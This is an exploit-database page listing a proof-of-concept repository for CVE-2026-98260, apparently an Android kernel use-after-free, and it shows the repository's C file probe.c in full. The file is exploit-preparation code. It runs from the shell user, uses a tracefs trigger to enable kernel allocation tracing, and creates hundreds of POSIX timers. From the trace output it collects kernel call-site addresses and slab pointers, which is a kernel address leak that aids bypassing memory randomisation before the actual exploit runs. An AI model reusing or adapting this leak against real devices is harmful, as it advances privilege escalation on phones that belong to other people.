Exploit database

GH-a864efc28b6fcf5317243fa1d8d9e6ab

minhmc2007/cve-2026-98260-my-a55

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files1
minhmc2007/cve-2026-98260-my-a55Revision 6c35f5aae89f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

tools/a55/probe.c

C · 6,236 bytes
/*
 * Read-only diagnostic for the A55 timer call-site profile.
 *
 * Creates POSIX timers with tracing enabled and reports both the symbolized
 * kmem_cache_alloc call sites (text trace) and the raw record field layout /
 * call-site low-21 bits (per-CPU trace_pipe_raw).  It never triggers the UAF.
 *
 * Build (CI): aarch64-linux-android35-clang -O2 -static
 * Run as shell: ./probe
 */
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define TR "/sys/kernel/tracing"
#define NTIMERS 512
#define TIMER_ALLOC 0x108
#define PAGE 4096UL

static void wr(const char *path, const char *s)
{
    int fd = open(path, O_WRONLY);

    if (fd < 0)
        return;
    (void)write(fd, s, strlen(s));
    close(fd);
}

static void pin(int cpu)
{
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(cpu, &set);
    sched_setaffinity(0, sizeof(set), &set);
}

static unsigned u32(const unsigned char *b, size_t o)
{
    unsigned v;

    memcpy(&v, b + o, 4);
    return v;
}

static unsigned long long u64(const unsigned char *b, size_t o)
{
    unsigned long long v;

    memcpy(&v, b + o, 8);
    return v;
}

static int is_kernel_ptr(unsigned long long v)
{
    return (v >> 48) == 0xffffULL;
}

struct site_hist {
    unsigned long long site;
    int count;
    int first_off;
};

/* Scan a raw per-CPU trace buffer for 0x108-byte kmem_cache_alloc records. */
static void scan_raw(const unsigned char *b, size_t n, int me)
{
    struct site_hist hist[32];
    int nh = 0, shown = 0, total = 0, pid_ok = 0;

    for (size_t i = 8; i + 32 <= n; i += 4) {
        unsigned long long site = u64(b, i), ptr = u64(b, i + 8);
        int pid = (int)u32(b, i - 4);

        if (!is_kernel_ptr(site) || !is_kernel_ptr(ptr))
            continue;
        if (u64(b, i + 16) != TIMER_ALLOC || u64(b, i + 24) != TIMER_ALLOC)
            continue;
        total++;
        if (pid == me)
            pid_ok++;
        if (shown < 5) {
            printf("[raw] pid=%d site=%#llx low21=%#llx ptr=%#llx\n",
                   pid, site, site & 0x1fffffULL, ptr);
            shown++;
        }
        {
            int k, f = 0;

            for (k = 0; k < nh; k++)
                if ((hist[k].site & 0x1fffffULL) == (site & 0x1fffffULL)) {
                    hist[k].count++;
                    f = 1;
                    break;
                }
            if (!f && nh < (int)(sizeof(hist) / sizeof(hist[0]))) {
                hist[nh].site = site;
                hist[nh].count = 1;
                hist[nh].first_off = (int)i;
                nh++;
            }
        }
    }
    printf("[raw] records=%d pid_ok=%d unique_low21=%d (me=%d)\n",
           total, pid_ok, nh, me);
    for (int k = 0; k < nh; k++)
        printf("[raw] low21=%#llx count=%d site=%#llx\n",
               hist[k].site & 0x1fffffULL, hist[k].count, hist[k].site);
}

int main(void)
{
    struct sigevent ev;
    timer_t t;
    char line[512];
    char sites[64][160];
    int nsites = 0, made = 0, hits = 0;
    int cpu = 2;
    unsigned char *raw;
    long n = 0;
    char path[128];
    int fd;
    FILE *f;

    pin(cpu);
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("[probe] pid=%d cpu=%d\n", (int)getpid(), cpu);

    wr(TR "/tracing_on", "0");
    wr(TR "/trace", "\n");
    wr(TR "/events/kmem/rss_stat/trigger",
       "enable_event:kmem:kmem_cache_alloc\n");
    wr(TR "/events/kmem/rss_stat/trigger",
       "enable_event:kmem:mm_page_alloc\n");

    /* Drain stale records from this CPU before enabling. */
    snprintf(path, sizeof(path), TR "/per_cpu/cpu%d/trace_pipe_raw", cpu);
    fd = open(path, O_RDONLY | O_NONBLOCK);
    if (fd >= 0) {
        unsigned char tmp[65536];

        while (read(fd, tmp, sizeof(tmp)) > 0)
            ;
        close(fd);
    }

    wr(TR "/tracing_on", "1");
    memset(&ev, 0, sizeof(ev));
    ev.sigev_notify = SIGEV_NONE;
    for (int i = 0; i < NTIMERS; i++) {
        if (timer_create(CLOCK_MONOTONIC, &ev, &t))
            break;
        made++;
    }
    usleep(100000);
    wr(TR "/tracing_on", "0");
    printf("[probe] made=%d expected bytes_req/alloc=%#x\n", made, TIMER_ALLOC);

    f = fopen(TR "/trace", "r");
    if (!f) {
        perror("open trace");
        return 1;
    }
    while (fgets(line, sizeof(line), f)) {
        char *call = strstr(line, "call_site=");
        char req[32], alloc[32];

        if (!strstr(line, "kmem_cache_alloc:"))
            continue;
        snprintf(req, sizeof(req), "bytes_req=%u ", TIMER_ALLOC);
        snprintf(alloc, sizeof(alloc), "bytes_alloc=%u ", TIMER_ALLOC);
        if (!strstr(line, req) || !strstr(line, alloc))
            continue;
        hits++;
        if (!call)
            continue;
        call += strlen("call_site=");
        {
            char *sp = strchr(call, ' ');
            size_t len = sp ? (size_t)(sp - call) : strlen(call);

            if (len >= sizeof(sites[0]))
                len = sizeof(sites[0]) - 1;
            for (int i = 0; i < nsites; i++)
                if (!strncmp(sites[i], call, len) && sites[i][len] == '\0')
                    goto seen;
            if (nsites < (int)(sizeof(sites) / sizeof(sites[0]))) {
                memcpy(sites[nsites], call, len);
                sites[nsites][len] = '\0';
                nsites++;
            }
        }
    seen:
        ;
    }
    fclose(f);
    printf("[probe] timer_alloc_records=%d unique_sites=%d\n", hits, nsites);
    for (int i = 0; i < nsites; i++)
        printf("[probe] site %s\n", sites[i]);

    /* Reading trace_pipe_raw consumes records, so do it last. */
    raw = malloc(32u << 20);
    if (raw) {
        fd = open(path, O_RDONLY | O_NONBLOCK);
        if (fd >= 0) {
            while (n < (long)(32u << 20)) {
                ssize_t r = read(fd, raw + n, (32u << 20) - (size_t)n);

                if (r <= 0)
                    break;
                n += r;
            }
            close(fd);
        }
        printf("[probe] raw_bytes=%ld\n", n);
        if (n > 0)
            scan_raw(raw, (size_t)n, (int)getpid());
        free(raw);
    }
    return hits ? 0 : 2;
}